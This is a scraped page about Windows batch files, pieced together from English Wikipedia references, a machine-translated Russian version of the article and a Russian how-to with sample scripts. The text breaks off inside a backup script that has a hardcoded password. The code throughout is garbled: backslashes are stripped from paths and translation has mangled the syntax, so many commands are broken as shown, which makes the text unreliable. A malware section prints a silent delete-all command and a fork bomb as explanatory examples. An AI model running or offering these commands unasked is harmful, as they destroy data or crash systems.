See also[edit]

  • List of DOS commands

Notes[edit]

  1. ^ To verify that COMMAND.COM remains available (in the WINDOWSSYSTEM32 directory), type COMMAND.COM at the 32-bit Windows 7 command prompt.
  2. ^ «If Command Extensions are enabled the PUSHD command accepts network paths in addition to the normal drive letter and path. If a network path is specified, PUSHD creates a temporary drive letter that points to that specified network resource and then change the current drive and directory, using the newly defined drive letter. Temporary drive letters are allocated from Z: on down, using the first unused drive letter found.» —The help for PUSHD in Windows 7
  3. ^ Availability of CMD.EXE and COMMAND.COM can be confirmed by invoking them in any version of Windows (COMMAND.COM not in 64-bit versions; probably only available in Windows 8 32-bit versions if installed with option to support 16-bit programs).

References[edit]

  1. ^ «Using batch files: Scripting; Management Services». Technet.microsoft.com. 2005-01-21. Retrieved 2012-11-30.
  2. ^ Henry-Stocker, Sandra (2007-07-18). «Use your Unix scripting skills to write a batch file». itworld.com. IT World. Retrieved 2018-06-13.
  3. ^ «Difference between bat and cmd | WWoIT — Wayne’s World of IT». waynes-world-it.blogspot.fr. 2012-11-15. Retrieved 2012-11-30.
  4. ^ «btm file extension :: all about the .btm file type». Cryer.co.uk. Retrieved 2012-11-30.
  5. ^ Caldera DR-DOS 7.02 User Guide, Caldera, Inc., 1998 [1993, 1997], archived from the original on 2016-11-05, retrieved 2013-08-10
  6. ^ Brothers, Hardin; Rawson, Tom; Conn, Rex C.; Paul, Matthias R.; Dye, Charles E.; Georgiev, Luchezar I. (2002-02-27). 4DOS 8.00 online help.
  7. ^ a b «.NET Core Runtime: System.Diagnostics.Process.Unix». GitHub. Retrieved 2020-02-11. Two consecutive double quotes inside an inQuotes region should result in a literal double quote (the parser is left in the inQuotes region). This behavior is not part of the spec of code:ParseArgumentsIntoList, but is compatible with CRT and .NET Framework.
  8. ^ a b Deley, David. «How Command Line Parameters Are Parsed».
  9. ^ «Child process documentation, section Windows Command Line, NodeJS PR #29576». GitHub. Retrieved 2020-02-11.
  10. ^ «How to do a delay», ericphelps.com
  11. ^ Utilities for DOS, linking to WAIT.ZIP (archive of WAIT.COM) and other programs
  12. ^ a b https://support.microsoft.com/en-us/kb/156276[dead link]
  13. ^ Chen, Raymond. «Keep your eye on the code page». Microsoft.
  14. ^ http://www.explorehacking.com/2011/01/batch-files-art-of-creating-viruses.html[bare URL]
  15. ^ «Windows PowerShell — Unix comes to Windows». Geekswithblogs.net. Retrieved 2012-11-30.

External links[edit]

  • Microsoft Windows XP Batch file reference
  • How Windows batch files work
  • Windows 10 batch file commands
  • FreeDOS’ FreeCOM : complete feature list
  • Windows Command Line Interface script programming links
  • scripting related information (also command line)
  • dbenham. «How does the Windows Command Interpreter (CMD.EXE) parse scripts?». Stack Overflow.
Пакетный файл

Пакетный файл icon.png
Расширения имени файла .bat, .cmd, .btm
Тип Интернет-носителя
  • application / bat
  • application / x-bat
  • application / x-msdos-program
  • text / plain
Тип формата Сценарий
Контейнер для сценариев

A командного файла — это файл сценария в DOS, OS / 2 и Microsoft Windows. Он состоит из серии команд, которые должны выполняться интерпретатором командной строки , сохраненных в текстовом файле. Пакетный файл может содержать любую команду, которую интерпретатор принимает в интерактивном режиме, и использовать конструкции, которые разрешают условное ветвление и цикл внутри пакетного файла, такие как IF , FOR и GOTO метки.. Термин «пакетный» происходит от пакетная обработка, что означает «неинтерактивное выполнение», хотя пакетный файл может не обрабатывать пакет из нескольких данных.

Подобно Job Control Language (JCL), DCL и другим системам на мэйнфреймах и миникомпьютерах, были добавлены командные файлы, чтобы упростить работу, необходимую для некоторых обычных задач позволяя пользователю настроить сценарий для их автоматизации. При запуске командного файла программа shell (обычно COMMAND.COM или cmd.exe ) читает файл и выполняет его команды, обычно построчно. -line. Unix-подобные операционные системы, такие как Linux, имеют аналогичный, но более гибкий тип файла, называемый сценарием оболочки.

Расширение имени файла .bat используется в DOS и Windows. Windows NT и OS / 2 также добавили .cmd . Пакетные файлы для других сред могут иметь другие расширения, например, .btm в оболочках, связанных с 4DOS, 4OS2 и 4NT.

Детальная обработка пакетных файлов значительно изменилась между версиями. Некоторые сведения в этой статье применимы ко всем пакетным файлам, в то время как другие сведения относятся только к определенным версиям.

Содержание

  • 1 Варианты
    • 1.1 DOS
    • 1.2 Ранние версии Windows
    • 1.3 OS / 2
    • 1.4 Windows NT
  • 2 Расширения имени файла
  • 3 Параметры пакетного файла
  • 4 Примеры
    • 4.1 Пояснение
  • 5 Ограничения и исключения
    • 5.1 Нулевые значения в переменных
    • 5.2 Кавычки и пробелы в переданных строках
    • 5.3 Экранированные символы в строках
    • 5.4 Задержка в спящем режиме или сценарии
    • 5.5 Текстовый вывод с вырезанным CR / LF
    • 5.6 Установка рабочего каталога Uniform Naming Convention (UNC) с помощью ярлыка
    • 5.7 Набор символов
  • 6 Пакетные вирусы и вредоносные программы
  • 7 Другие языки сценариев Windows
  • 8 См. Также
  • 9 Примечания
  • 10 Ссылки
  • 11 Внешние ссылки

Варианты

DOS

В DOS командный файл можно запустить из интерфейс командной строки, введя его имя, затем любые требуемые параметры и нажав клавишу ↵ Enter. При загрузке DOS файл AUTOEXEC.BAT, если он присутствует, выполняется автоматически, поэтому в этот файл можно поместить любые команды, которые необходимо выполнить для настройки среды DOS. Пользователи компьютеров должны иметь файл AUTOEXEC.BAT для установки системной даты и времени, инициализации среды DOS, загрузки любых резидентных программ или драйверов устройств или инициализации сетевых подключений и назначений.

Расширение имени файла.bat определяет файл, содержащий команды, которые выполняются интерпретатором команд COMMAND.COM построчно, как если бы это был список команд, введенных вручную, с некоторыми дополнительные команды, относящиеся к пакетному файлу, для базовой функциональности программирования, включая команду GOTOдля изменения потока выполнения строки.

Ранняя версия Windows

Microsoft Windows была представлена ​​в 1985 году в качестве графического пользовательского интерфейса -содержащего (GUI) оверлея на текстовых операционных системах и был разработан для работы в DOS. Для его запуска использовалась команда WIN, которую можно было добавить в конец файла AUTOEXEC.BAT для автоматической загрузки Windows. В более ранних версиях можно было запустить файл типа.bat из Windows в приглашении MS-DOS. Windows 3.1x и более ранние версии, а также Windows 9x вызывали COMMAND.COM для запуска командных файлов.

OS / 2

Операционная система IBM OS / 2 поддерживала пакетные файлы в стиле DOS. Он также включал версию REXX, более продвинутого языка сценариев командных файлов. IBM и Microsoft начали разработку этой системы, но во время ее создания разошлись после спора; В результате IBM ссылалась на свою консольную оболочку, подобную DOS, без упоминания Microsoft, называя ее просто DOS, хотя это, по-видимому, не имело никакого значения в том, как работают командные файлы из COMMAND.COM.

Интерпретатор командных файлов OS / 2 также поддерживает команду EXTPROC. Пакетный файл передается в программу, указанную в файле EXTPROC, как файл данных. Названная программа может быть файлом сценария; это похоже на механизм #!.

Windows NT

В отличие от Windows 98 и более ранних версий, операционные системы семейства Windows NT не зависят от MS-DOS. Windows NT представила усовершенствованный 32-битный интерпретатор команд (cmd.exe ), который может выполнять сценарии с расширением.CMD или.BAT. Cmd.exe добавил дополнительные команды и реализовал существующие несколько иначе, чтобы один и тот же командный файл (с другим расширением) мог по-разному работать с cmd.exe и COMMAND.COM. В большинстве случаев операция идентична, если несколько неподдерживаемых команд не используются. Расширения Cmd.exe для COMMAND.COM можно отключить для совместимости.

Microsoft выпустила версию cmd.exe для Windows 9x и ME под названием WIN95CMD, чтобы пользователи старых версий Windows могли использовать определенные командные файлы в стиле cmd.exe.

Начиная с Windows 8 cmd.exe является обычным интерпретатором команд для пакетных файлов; старый COMMAND.COM может работать также в 32-битных версиях Windows, способных запускать 16-битные программы.

Расширения имен файлов

.bat
Первое расширение имени файла, используемое Microsoft для командных файлов. Это расширение работает с DOS и всеми версиями Windows под COMMAND.COM или cmd.exe, несмотря на то, что два интерпретатора команд по-разному выполняют командные файлы.
.cmd
Используется для командных файлов в семействе Windows NT и отправляется в cmd.exe для интерпретации. COMMAND.COM не распознает это расширение имени файла, поэтому сценарии cmd.exe по ошибке не выполняются в неправильной среде Windows. Кроме того, добавляет команды , dpath , ftype , set, path, assoc и prompt, при выполнении из файла.bat изменяйте значение переменной errorlevel только в случае ошибки, тогда как внутри файла.cmd они повлияют на уровень ошибки даже при возврате без ошибки. Он также используется IBM OS / 2 для пакетных файлов.
.btm
Расширение, используемое 4DOS, 4OS2, 4NT и Принять командование. Эти сценарии работают быстрее, особенно с более длинными, поскольку сценарий загружается полностью готовым к выполнению, а не построчно.

Параметры пакетного файла

COMMAND.COM и cmd.exe поддерживают количество специальных переменных (от %0, %1до % 9) для ссылки на путь и имя пакетного задания и первые девять параметров вызова из пакетного задания, см. также SHIFT . Несуществующие параметры заменяются строкой нулевой длины. Их можно использовать аналогично переменным среды, но они не хранятся в среде. Microsoft и IBM называют эти переменные параметрами замены или заменяемыми параметрами, тогда как Digital Research, Novell и Caldera ввели для них термин «переменные замены». JP Software называет их параметрами пакетного файла.

Примеры

Этот пример пакетного файла отображает Hello World!, запрашивает и ожидает, пока пользователь нажмет клавишу, а затем завершает работу.. (Примечание: не имеет значения, вводятся ли команды в нижнем или верхнем регистре, если не работают с переменными)

@ECHO OFF ECHO Hello World! PAUSE

Чтобы запустить файл, он должен быть сохранен с расширением.bat (или.cmd для операционных систем типа Windows NT) в текстовом формате, обычно создаваемом с помощью текстового редактора, такого как Microsoft Notepad или текстовый процессор, работающий в текстовом режиме.

При выполнении отображается следующее:

Hello World! Нажмите любую клавишу для продолжения...

Объяснение

Интерпретатор выполняет каждую строку по очереди, начиная с первой. Символ @в начале любой строки предотвращает отображение этой команды в подсказке при ее выполнении. Команда ECHO OFFотключает подсказку навсегда или до тех пор, пока она не будет включена снова. Комбинированный @ECHO OFFчасто, как и здесь, является первой строкой командного файла, предотвращающей отображение любых команд, включая саму себя. Затем выполняется следующая строка, и команда ECHO Hello World!выводит Hello World!. Выполняется следующая строка, и команда PAUSEотображает Нажмите любую клавишу, чтобы продолжить...и приостанавливает выполнение скрипта. После нажатия клавиши сценарий завершается, так как команд больше нет. В Windows, если сценарий выполняется из уже запущенного окна командной строки, окно остается открытым в командной строке, как в MS-DOS; в противном случае окно закрывается по завершении.

Ограничения и исключения

Нулевые значения в переменных

Расширения переменных подставляются в команду текстуально, и, таким образом, переменные, которые не содержат ничего, просто исчезают из синтаксиса, а переменные, содержащие пробелы превращаются в несколько токенов. Это может привести к синтаксическим ошибкам или ошибкам.

Например, если% foo% пуст, этот оператор:

IF% foo% == bar ECHO Equal

анализируется как ошибочная конструкция:

IF == bar ECHO Equal

Аналогично, если % foo%содержит abc def, то возникает другая синтаксическая ошибка:

IF abc def == bar ECHO Equal

Обычный способ предотвращения эта проблема заключается в заключении расширений переменных в кавычки, чтобы пустая переменная расширялась до допустимого выражения IF "" == "bar"вместо недопустимого IF == bar. Текст, который сравнивается с переменной, также должен быть заключен в кавычки, потому что кавычки не являются специальным ограничивающим синтаксисом; эти персонажи представляют себя.

IF "% foo%" == "bar" ECHO Equal

Задержка! VARIABLE! Расширение, доступное в Windows 2000 и более поздних версиях, может использоваться, чтобы избежать этих синтаксических ошибок. В этом случае пустые или многословные переменные не ошибаются синтаксически, потому что значение расширяется после анализа команды IF:

IF! Foo! == bar ECHO Equal

Еще одно отличие в Windows 2000 или выше заключается в том, что пустая переменная (неопределенная) не заменяется. Как описано в предыдущих примерах, предыдущее поведение пакетного интерпретатора привело бы к пустой строке. Пример:

C: >set MyVar = C: >echo% MyVar%% MyVar% C: >if "% MyVar%" == "" (echo MyVar не определен) else (echo MyVar is% MyVar%) MyVar - это% MyVar%

Пакетные интерпретаторы до Windows 2000 отображали результат MyVar не определен.

Кавычки и пробелы в переданных строках

В отличие от процессов Unix / POSIX, которые получают свои аргументы командной строки, уже разделенные оболочкой на массив строк, процесс Windows получает всю командную строку как одну строку через функцию API GetCommandLine. В результате каждое приложение Windows может реализовать свой собственный синтаксический анализатор для разделения всей командной строки на аргументы. Многие приложения и инструменты командной строки разработали для этого собственный синтаксис, поэтому не существует единого соглашения о заключении в кавычки или экранировании метасимволов в командной строке Windows.

  • Для некоторых команд пробелы рассматриваются как разделители, разделяющие аргументы, если эти пробелы не заключены в кавычки. Существуют различные соглашения о том, как кавычки могут быть переданы приложению:
    • Широко используемое соглашение реализуется с помощью синтаксического анализатора командной строки, встроенного в библиотеку времени выполнения Microsoft Visual C ++ в CommandLineToArgvW. Он использует соглашение, согласно которому 2 nобратной косой черты, за которыми следует кавычка («), создают nобратную косую черту, за которой следует начало / конец кавычки, тогда как (2 n) Обратная косая черта +1, за которой следует кавычка, снова создает n обратных косых черт, за которыми следует литерал кавычек. Такое же соглашение является частью спецификации .NET Framework.
      • Недокументированный аспект заключается в том, что «» в середине строки в кавычках создает одинарную кавычку (изменение CRT в 2008 году [msvcr90] изменило эту недокументированную обработку кавычек.) Это полезно для вставки кавычек в аргумент без повторного включения интерпретации метасимволов cmd. например, |, и>. (cmd не распознает обычный «как экранирование цитаты. Он повторно включает эти специальные значения при просмотре цитаты, думая, что цитата закончилась.)
    • Другое соглашение заключается в том, что одинарные кавычки («) не включаются как часть строки. Однако экранированные кавычки («» «) может быть частью строки.
    • Еще одно общее соглашение происходит от использования портированных программ, производных от Cygwin. Он не делает различий между обратными косыми чертами, встречающимися перед кавычками или не перед ними. См. glob (программирование) § Windows и DOS для получения информации об этих альтернативных синтаксических анализаторах командной строки.
    • Некоторые важные команды Windows, такие как cmd.exeи wscript.exe, используйте собственные правила.
  • Для других команд пробелы не рассматриваются как разделители и поэтому не нуждаются в кавычках. Если включены кавычки, они становятся частью строки. Это применимо к некоторым встроенным командам, таким как echo.

Если строка содержит кавычки и должна быть вставлена ​​в другую строку текста, которая также должна быть заключена в кавычки, особое внимание уделяется механизму цитирования. требуется:

C: >set foo = "эта строка заключена в кавычки" C: >echo "test 1% foo%" "test 1" эта строка заключена в кавычки "" C: >eventcreate / T Предупреждение / ID 1 / L Система / SO "Источник" / D "Пример:% foo%" ОШИБКА: недопустимый аргумент / опция - 'строка'. Введите "СОБЫТИЕ СОЗДАТЬ /?" для использования.

В Windows 2000 и более поздних версиях решение состоит в замене каждого вхождения символа кавычки в значении серией из трех символов кавычек:

C: >set foo = "эта строка заключена в кавычки" C : >set foo =% foo: "=" ""% C: >echo "test 1% foo%" "test 1" "" эта строка заключена в кавычки "" "" C: >eventcreate / T Предупреждение / ID 1 / L Система / SO "Источник" / D "Пример:% foo%" УСПЕХ: в журнале / источнике «Источник» создается событие типа «Предупреждение».

Экранированные символы в строках

Некоторые символы, такие как символы вертикальной черты (|), имеют особое значение для командной строки. Они не могут быть напечатаны как текст с помощью команды ECHO, если не экранированы с помощью символа вставки ^:

C: >Echo foo | bar 'bar' не распознается как внутренняя или внешняя команда, работающая программа или командный файл. C: >Echo foo ^ | бар foo | bar

Однако экранирование не работает должным образом при вставке экранированного символа в переменную среды. Переменная заканчивается тем, что содержит команду live pipe, когда просто отображается эхом. Необходимо экранировать как саму каретку, так и экранированный символ для отображения символа в виде текста в переменной:

C: >set foo = bar | baz 'baz' не распознается как внутренняя или внешняя команда, работающая программа или командный файл. C: >установить foo = bar ^ | baz C: >echo% foo% 'baz' не распознается как внутренняя или внешняя команда, работающая программа или командный файл. C: >set foo = bar ^^^ | baz C: >echo% foo% bar | baz

Задержанный ! VARIABLE! расширение, доступное с CMD / V: ONили с SETLOCAL ENABLEDELAYEDEXPANSIONв Windows 2000 и более поздних версиях, может использоваться для отображения специальных символов, хранящихся в переменных среды, поскольку значение переменной раскрывается после того, как команда была проанализировано:

C: >cmd / V: ON Microsoft Windows [Версия 6.1.7601] Авторское право (c) 2009 Microsoft Corporation. Все права защищены. C: >установить foo = bar ^ | baz C: >echo! foo! бар | baz

Спящий режим или задержка сценария

До тех пор, пока команда TIMEOUT не была представлена ​​в Windows Vista, не было простого способа реализовать временную паузу, поскольку команда PAUSE приостанавливает выполнение сценария на неопределенный срок, пока не будет нажата какая-либо клавиша.

Многие обходные пути были возможны, но обычно работали только в некоторых средах: команда CHOICE была недоступна в старых версиях DOS, PINGбыла доступно только в том случае, если был установлен TCP / IP и т. д. Никакого решения от Microsoft не было, но можно было установить ряд небольших служебных программ из других источников. Коммерческим примером может быть команда 1988 Norton Utilities Batch Enhancer (BE), где BE DELAY 18будет ждать 1 секунду, или бесплатный 94-байтовый WAIT.COM, где WAIT 5будет ждать 5 секунд, затем вернет управление скрипту. Большинство таких программ представляют собой 16-битные файлы.COM, поэтому они несовместимы с 64-битной Windows.

Вывод текста с вырезанными CR / LF

Обычно весь напечатанный текст автоматически содержит управляющие символы для возврата каретки (CR) и перевода строки (LF) добавляется в конец каждой строки.

  • batchtest.bat
    @echo foo @echo bar
    C: >batchtest.bat foo bar

Не имеет значения, используют ли две команды echo одну и ту же командную строку; коды CR / LF вставляются для разбивки вывода на отдельные строки:

C: >@ echo Сообщение 1 @ echo Сообщение 2 Сообщение 1 Сообщение 2

Уловка, обнаруженная в Windows 2000 и более поздних версиях, заключается в использовании специального запрос ввода для вывода текста без CR / LF в конце текста. В этом примере CR / LF не следует за сообщением 1, но следует за строкой 2 и строкой 3:

  • batchtest2.bat
    @echo off set / p = "Message 1" 
    C: >batchtest2.bat Сообщение 1 Сообщение 2 Сообщение 3

Это можно использовать для вывода данных в текстовый файл без добавления CR / LF в конец:

C: >set / p = "Message 1" data.txt C: >set / p = "Сообщение 2" >data.txt C: >set / p = "Сообщение 3" >data.txt C: >type data.txt Сообщение 1 Сообщение 2Message 3

Однако нет способа вставить этот удаленный вывод приглашения CR / LF непосредственно в переменную среды.

Установка рабочего каталога Uniform Naming Convention (UNC) с помощью ярлыка

Невозможно иметь командную строку, которая использует UNC-путь в качестве текущего рабочего каталога ; например \ server share directory

Командная строка требует использования букв дисков для назначения рабочего каталога, что затрудняет выполнение сложных пакетных файлов, хранящихся на общей UNC-папке сервера. Хотя командный файл может быть запущен из пути к файлу UNC, рабочий каталог по умолчанию — C: Windows System32 .

. В Windows 2000 и более поздних версиях обходным путем является использование PUSHD и команда POPD с расширениями команд.

Если они не включены по умолчанию, расширения команд можно временно включить с помощью переключателя / E: ONдля интерпретатора команд.

Итак, чтобы запустить пакетный файл на общем ресурсе UNC, назначить временную букву диска общему ресурсу UNC и использовать общий ресурс UNC в качестве рабочего каталога пакетного файла, можно создать ярлык Windows, который выглядит как это:

  • Цель: % COMSPEC% / E: ON / C "PUSHD" "" \ SERVER SHARE DIR1 DIR2 "" "BATCHFILE.BAT POPD"

Рабочий каталог атрибут этого ярлыка игнорируется.

Это также решает проблему, связанную с контролем учетных записей пользователей (UAC) в Windows Vista и новее. Когда администратор вошел в систему и включен UAC, и они попытаются запустить командный файл от имени администратора с буквы сетевого диска, используя контекстное меню файла, щелкнув правой кнопкой мыши, операция неожиданно завершится ошибкой. Это связано с тем, что контексту привилегированной учетной записи UAC с повышенными привилегиями не назначены буквы сетевых дисков, и невозможно назначить буквы дисков для контекста с повышенными правами через оболочку Explorer или сценарии входа в систему. Однако, создав ярлык для командного файла с использованием указанной выше конструкции PUSHD/ POPDи используя ярлык для запуска командного файла от имени администратора, будет создана временная буква диска и удален в контексте учетной записи с повышенными правами, и командный файл будет работать правильно.

Следующий синтаксис правильно расширяется до пути к текущему пакетному сценарию.

% ~ dp0

Пути по умолчанию UNC отключены по умолчанию, поскольку они использовались для аварийного завершения старых программ.

Значение реестра Dword DisableUNCCheckв HKEY_CURRENT_USER Software Microsoft Command Processorпозволяет использовать каталог по умолчанию в формате UNC. CDкоманда не будет изменять, но поместит UNC-путь в каталог по умолчанию в ярлыке для Cmd или с помощью команды Start. start "" / d \ 127.0.0.1 C $ "cmd / k"(C$общий ресурс для администраторов).

Набор символов

В пакетных файлах используется набор символов OEM, определенный компьютером, например Кодовая страница 437. Их части, не относящиеся к ASCII, несовместимы с наборами символов Unicode или Windows, которые иначе используются в Windows, поэтому необходимо соблюдать осторожность. Неанглийские имена файлов работают только при вводе через редактор, совместимый с набором символов DOS. Имена файлов с символами вне этого набора не работают в пакетных файлах.

Чтобы получить вывод в Юникоде в файловые каналы из внутренней команды, такой как dir, можно использовать команду cmd / U. Например, cmd / U / C dir>files.txtсоздает файл, содержащий список каталогов с правильными символами Windows в кодировке UTF-16 LE.

Пакетные вирусы и вредоносное ПО

Как и любой другой язык программирования, пакетные файлы могут использоваться злонамеренно. Простые трояны и бомбы-вилки легко создаются, а пакетные файлы могут выполнять форму заражения DNS, изменяя файл hosts. Возможны пакетные вирусы, которые также могут распространяться через USB-флеш-накопители с использованием возможностей Windows Autorun.

Следующая команда в пакетном файле удалит все данные в текущем каталоге (папке) — без предварительного запроса подтверждения:

del / Q *. *

Эти три команды представляют собой простую fork bomb, которая будет непрерывно копировать себя, чтобы истощить доступную систему ресурсы, замедление или сбой системы:

: TOP start ""% 0 goto TOP

Другие языки сценариев Windows

Командный процессор cmd.exe, который интерпретирует файлы.cmd, поддерживается во всех 32 — и 64-битные версии Windows как минимум до Windows 10. COMMAND.EXE, интерпретирующий файлы.BAT, поддерживался во всех 16- и 32-битных версиях как минимум до Windows 10.

Там другие, более поздние и более мощные языки сценариев, доступные для Windows. Однако для их использования требуется установка интерпретатора языка сценариев:

  • KiXtart (.kix ) — разработан сотрудником Microsoft в 1991 году специально для удовлетворения потребности в командах. полезен в сценарии входа в сеть, сохраняя при этом простое ощущение файла.cmd.
  • Windows Script Host (.vbs, .js и .wsf ) — выпущен Microsoft в 1998 году и состоит из cscript.exe и wscript.exe, запускает сценарии, написанные на VBScript или JScript. Он может запускать их в оконном режиме (с хостом wscript.exe) или в консольном режиме (с хостом cscript.exe). Они были частью Windows с Windows 98.
  • PowerShell (.ps1 ) — выпущенной в 2006 году Microsoft и могут работать с Windows XP (SP2 / SP3) и более поздних версий. PowerShell может работать как интерактивно (из интерфейса командной строки), так и через сохраненные сценарии, и имеет сильное сходство с Unix оболочками.
  • Языки сценариев оболочки в стиле Unix можно использовать, если установлен инструмент совместимости с Unix, например Cygwin.
  • Кросс-платформенные инструменты создания сценариев, включая Perl, Python, Ruby, Rexx, Node.js и PHP доступны для Windows.

Файлы сценария запускаются, если имя файла введено без расширения. Существуют правила приоритета, управляющие интерпретацией, например, DoThis, если DoThis.com, DoThis.exe, DoThis.bat, DoThis.cmdи т. Д. Существуют; по умолчанию DoThis.comимеет наивысший приоритет. Этот порядок по умолчанию может быть изменен в более новых операционных системах с помощью устанавливаемой пользователем переменной среды PATHEXT.

См. Также

  • Список команд DOS

Примечания

Ссылки

Внешние ссылки

  • Справочник по пакетным файлам Microsoft Windows XP
  • Как работают командные файлы Windows
  • Команды пакетного файла Windows 10
  • FreeDOS ‘FreeCOM: полный список возможностей
  • Ссылки на пакетное программирование MS-DOS + Win../ 95/98 / ME
  • Ссылки на программирование сценариев интерфейса командной строки Windows
  • информация, связанная с написанием сценариев (также командная строка)
  • dbenham. «Как интерпретатор команд Windows (CMD.EXE) анализирует сценарии?». Переполнение стека.

Если рассматривать исполняемые приложения, то среди них особую роль будут играть пакетные файлы с расширением BAT. Возможности ОС позволяют выполнить запись некоторой последовательности команд непосредственно в документ данного типа. Таким образом, получается файл, содержащий наборы команд. Это позволяет упростить функционирование ОС. Предусматривается наличие некоторого списка команд, которые могут быть запущены исключительно из пакетного документа.

Название BAT файлы было получено за счет наличия указанного расширения. Запуск пакетных документов является аналогичным приложениям .EXE и .COM. Следует отметить главное отличие от классических программ. BAT документы не содержат внутри код. Предусматривается наличие исключительно текстовой информации. Именно её считывает и выполняет командный процессор DOS. Существует несколько доступных вариантов:

  • Особые команды для вывода определенных сведений или приложений на экран.
  • Осуществление вызова различных пакетных документов.
  • Работа с другими приложениями.
  • Особые команды, обеспечивающие создание ветвлений, а также циклов.

Обеспечивается способность выполнения довольно сложных и многоуровневых последовательностей управления процессами. Наиболее значимым качеством пакетных документов требуется отметить автоматизацию работы над заданиями. Деятельность происходит без каких-либо вмешательств со стороны пользователей системы. Разрешается выполнение файлов BAT почти на всех этапах установки ОС Windows.

Допускается помещение внутрь пакетных документов всех существующих команд. Предполагается усложнение поставленных задач и даже создание условий. В этом деле оказывают поддержку команды goto, if и for. Требуется отметить autoexec.bat – файл необходим при осуществлении начальных настроек ОС в ходе запуска.

Следует рассмотреть простейший пример самостоятельного создания пакетного файла. Для выполнения поставленной задачи будет достаточно открыть новый документ с расширением TXT и ввести туда предложенный текст:

title Batch File Testing

echo Hello World

echo.

echo Starting Notepad

start notepad

echo.

echo Starting Wordpad

start Wordpad

echo.

pause

exit

После этого осуществляется сохранение документа и установка для него любого названия. Основным моментом требуется предусмотреть задание расширения CMD или BAT. После этого требуется выполнить запуск. Происходит назначение окна с названием «Batch File Testing». Работа указанного документа будет заключаться в том, чтобы открыть блокнот и выполнить запрос на нажатие любой клавиши. Когда это сделано, окно закроется.

Пакетные файлы применяются постоянно и сильно упрощают жизнь при осуществлении повседневных задач для программистов. Наиболее распространенными сферами использования BAT документов можно отметить резервное копирование данных, переименование, удаление файлов или документов, а также многое другое. Большинство действий в системе разрешается проводить только в том случае, если имеются администраторские права. Подобный фактор требуется принимать во внимание.

Задание паузы в файле BAT перед исполнением последующей команды

Разрешается осуществление паузы в результате применения большого числа команд. Часть из них предусматривают подобную функцию. Ниже будет рассмотрено выполнение поставленной задачи за счет команды ping:

ping -n 1 -w 50000 123.123.123.254 >nul

Следует перечислить и расшифровать параметры:

n 1

Запрос будет исполняться только один раз

w 50000

Для ожидания ответа выбран интервал в 50.000 мс (50 секунд)

123.123.123.254

В качестве этого параметра прописывается IP адрес, которого точно не существует внутри локальной сети. Это позволяет утверждать о невозможности ответа на запрос

>nul

Производится перенаправление для выдачи в несуществующее место

Зацикливание в файле BAT выполнения команды

Довольно распространенной задачей требуется отметить периодический вызов некоторой команды через равные промежутки времени. Подобные мероприятия особенно часто нужны в случае обновления некоторых программ или системы. Оптимальным решением поставленной задачи является создание зацикленного в файла BAT с некоторой паузой. Ниже рассмотрен пример реализации такого способа:

:loop

ping -n 1 -w 60000 123.123.123.254 >nul

start notepad.exe

goto loop

Происходит открытие блокнота каждую минуту.

Создание папки, имя которой устанавливается текущей датой

Папки данного вида популярны в качестве мест сохранения бэкапов. Необходимо рассмотреть основные методы создания.

MD %SYSTEMDRIVE%%date:~-10%

Применение команды позволит создать новую папку и присвоить её название, соответствующее текущей дате. Недостатком указанного подхода считается невозможность получения результата в определённых ситуациях. Сюда можно отнести неподходящие установки отображения даты на компьютере или специфические региональные настройки. Чтобы подобные факторы не оказали своего влияния, применяется следующий вид:

md %systemdrive%%date:~0,2%_%date:~3,2%_%date:~6,4%

или

md %systemdrive%%date:~6,4%_%date:~3,2%_%date:~0,2%

Стоит предложить вариант по дальнейшему улучшению результата. Например, осуществление прибавления к названию документов текущей даты:

@echo off

for /F «tokens=1-4 usebackq delims=. » %%1 in (`date /t`) do set mydate=%%4.%%3.%%2

ren test.txt test%mydate%.txt

Это позволит изменить название документа с test.txt на test(гггг.мм.дд).txt

Запрет повторного запуска программ

Когда запуск определенной программы происходит с применением файла BAT, имеется возможность не допускать повторного исполнения такой процедуры.

pslist.exe -e «операция«

if %errorlevel%==1 start «» «приложение«

Здесь упоминается специальная программа pslist. Она является бесплатной и может быть свободно загружена из интернета.

Выполнение резервных копий в автоматическом режиме

Ниже будет представлен скрипт, который отвечает за создание архивных копий документов с данными пользователей, а также некоторыми другими документами. Не предусматривается проведение подобных мероприятий с медиа файлами. Причиной является их значительный объем. Дополнительно, их потеря редко считается критичной.

rem *******************

rem задаём жесткий диск, где лежат папки для архивирования и винт куда будем бэкапить

rem *******************

SET DRIVE1ST=d:

SET DRIVE2ND=e:

rem *******************

rem пароль на архив

rem *******************

SET PASSWD=qmsdhgsdfgsdfhdsfhsdhf

rem *******************

rem если копировать для надёжности куда-нибудь на сетку

rem *******************

rem SET COPYTO=\shpakkc$!backup

rem ********************

rem *** Проверим путь назначения архива

rem ********************

%DRIVE1ST%

if not exist !backup md !backup

if not exist !backupDepartments md !backupDepartments

if not exist !backupExchange md !backupExchange

if not exist !backupMEDEA_rdisk md !backupMEDEA_rdisk

cd !backup

rem ******************************

rem *** Backup \SERVERe$Exchange

rem ******************************

SET DIRNAME=Exchange

SET FILENAME=SERVER_Exchange

SET SOURCEDIR=e:Exchange

rar a -r -m5 -dh -x*.mp3 -x*.fcd -x*.avi -x*.zip -x*.rar -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*

if not exist %DIRNAME%%FILENAME%_new.rar goto next2

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar

copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

:next2

rem ***************************

rem *** Backup \SERVERe$Users

rem ***************************

SET DIRNAME=Departments

SET FILENAME=SERVER_Departments

SET SOURCEDIR=e:Departments

if not exist %DIRNAME%%FILENAME%_new.rar goto next3

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_4.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_3.rar %FILENAME%_4.rar

ren %DIRNAME%%FILENAME%_2.rar %FILENAME%_3.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%_2.rar

:next3

rem *******************

rem это если архив будет большим — кусками бить -v357888k

rem *******************

rem rar a -r -m5 -v357888k -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%

rem *******************

rem архивирование пошло, не берём мультимедиа файлы

rem *******************

rar a -r -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -x*.jpg -x*.tif -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%

goto next4

:next4

rem **********************************

rem *** Create repair disk on \SERVER

rem **********************************

